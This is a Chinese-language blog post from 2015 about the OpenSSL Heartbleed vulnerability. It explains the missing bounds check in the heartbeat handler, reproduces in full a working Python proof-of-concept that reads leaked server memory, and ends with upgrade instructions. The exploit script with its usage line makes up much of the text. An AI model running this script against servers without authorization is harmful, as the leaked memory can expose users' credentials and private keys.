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openssl心脏出血（heart bleed）漏洞

发布时间：2015-11-04作者：♂逸風★淩軒

1、Openssl概述

OpenSSL协议广泛应用于网银、在线支付、电子邮件、电商等重要网站，发现此漏洞的黑客只需坐在电脑前，即可实时获取约30%以https开头网址的用户登录账号密码。可以说，OpenSSL的“心脏出血”已经严重威胁用户的信息网络安全，该漏洞破坏性之大和影响的范围之广，堪称网络安全里程碑事件。然而自2014年公布爆发后，不少Https网站管理员由于自身知识缺乏，安全意识不足，这个远古漏洞依然广泛存在在各中小电商营销类网站，至今快2016年，笔者至今仍见有人编译php-openssl直接沿用老旧本身openssl lib且系统亦无做任何漏洞自动更新，所以我觉得该文放在当下重点讲下仍是必要的。

2、漏洞成因

当使用基于openssl通信的双方建立安全连接后，客户端需要不断的发送心跳信息到服务器，以确保服务器是可用的。

基本的流程是：客户端发送一段固定长度的字符串到服务器，服务器接收后，返回该固定长度的字符串。比如客户端发送“hello,world”字符串到服务器，服务器接受后，原样返回“hello,world”字符串，这样客户端就会认为openssl服务器是可用的。

客户端发送的心跳信息结构体定义为：

struct hb {
      int type;
      int length;
      unsigned char *data;                                                    
};

其中type为心跳的类型，length为data的大小。

其中关于data字段的内容结构为：

type字段占一个字节，payload字段占两个字节，其余的为payload的具体内容。

详情如下所示：

字节序号        备注
0             type
1-2            data中具体的内容的大小为payload
3-len          具体的内容pl

当服务器收到消息后，会对该消息进行解析，也就是对data中的字符串进行解析，通过解析第0位得到type，第1-2位得到payload，接着申请(1+2+payload)大小的内存，然后再将相应的数据拷贝到该新申请的内存中。

假如客户端发送的data数据为“006abcdef”，那么服务器端解析可以得到type=0, payload=06, pl='abcdef'，申请(1+2+6=9)大小的内存，然后再将type, payload, pl写到新申请的内存中。

但在存在漏洞的OpenSSL代码中包括TLS(TCP)和DTLS(UDP)都没有做边界的检测。服务器会按照payload的大小申请内存并将内存中的数据发回给客户端。导致攻击者可以利用这个漏洞来获得TLS链接对端（可以是服务器，也可以是客户端）内存中的一些数据，至少可以获得16KB每次，理论上讲最大可以获取64KB。

3、漏洞检测及利用

利用代码

#!/usr/bin/python
 
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
 
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
 
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
 
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
 
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
 
hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')
 
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
 
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
 
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
 
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
 
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
 
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
 
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
 
if __name__ == '__main__':
    main()

使用方法：

py www.xxxx.cc --port=443

网站若存在漏洞将返回服务器中的内存数据。

4、预防和防范

最好经常关注系统安全更新，必要的进行手动升级Openssl，因为一些自动更新（例如yum）常常因为延迟而导致更新缓慢，在此期间便有可能被嗅觉灵敏的黑客攻击

1、编译Nginx和PHP尽量使用Opensll动态Lib库，方便openssl通过yum update升级后，相应项目无需重新编译；

2、如果项目通过编译启用了静态编译，则升级openssl后需重新编译项目：

升级方法：

wget http://211.136.8.19/files/9082000000D82D39/www.openssl.org/source/openssl-1.0.2d.tar.gz
tar -zxvf openssl-1.0.2d.tar.gz
cd openssl-1.0.2d
./config --prefix=/usr --shared
make
make install
openssl version

完成后相应PHP、Nginx等使用了静态编译的也需要重新编译

关键字词：漏洞,openssl,安全,心脏出血

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